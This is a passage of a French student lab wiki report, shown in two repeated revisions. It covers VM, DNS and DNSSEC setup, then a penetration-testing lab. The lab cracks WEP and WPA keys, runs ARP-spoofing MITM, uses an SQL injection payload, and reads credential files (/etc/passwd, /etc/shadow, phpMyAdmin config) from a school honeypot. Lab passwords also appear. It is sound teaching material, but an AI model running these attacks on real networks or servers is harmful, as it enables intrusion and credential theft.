Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55132</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55132"/>
				<updated>2020-12-21T17:35:44Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Sécurisation de serveur DNS par DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
